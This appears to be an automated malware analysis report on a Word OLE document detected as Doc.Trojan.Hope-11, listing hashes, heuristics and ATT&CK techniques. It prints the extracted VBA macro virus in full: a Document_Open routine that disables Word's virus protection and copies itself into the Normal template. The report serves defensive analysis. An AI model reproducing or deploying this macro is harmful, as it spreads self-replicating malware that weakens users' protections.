Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cc8b8000a5b0cdf5…

MALICIOUS

Office (OLE)

35.0 KB Created: 1999-07-26 11:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 14383e6c564caa35c64d02c5951450a9 SHA-1: 85fc2a8f478b4f875989f95c809b8ab13ef182c9 SHA-256: cc8b8000a5b0cdf5288eb7f2d2a479d34d3f849e7e67ce1bc9fb1ffb8483c3bb
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document with a high slack anomaly and a critical ClamAV detection for 'Doc.Trojan.Hope-11'. It contains a Document_Open VBA macro that disables virus protection and replaces its own code with a hardcoded 7-line script. This script is designed to execute automatically when the document is opened, indicating a malicious intent to run arbitrary code.

Heuristics 4

  • ClamAV: Doc.Trojan.Hope-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-11
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 35,840 bytes but its declared streams total only 16,497 bytes — 19,343 bytes (54%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 653 bytes
SHA-256: 56a9d76cfa9eed1c66afcd0c577416741fef1b5ce90d7fb532f54ffd44b719a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Options.VirusProtection = 0
If NormalTemplate = MacroContainer Then Set x = ActiveDocument.VBProject.vbcomponents.Item(1).codemodule Else Set x = NormalTemplate.VBProject.vbcomponents.Item(1).codemodule
If x.countoflines = 7 Then Exit Sub
x.deletelines 1, x.countoflines
x.addfromstring MacroContainer.VBProject.vbcomponents.Item(1).codemodule.lines(1, 7)
Beep: End Sub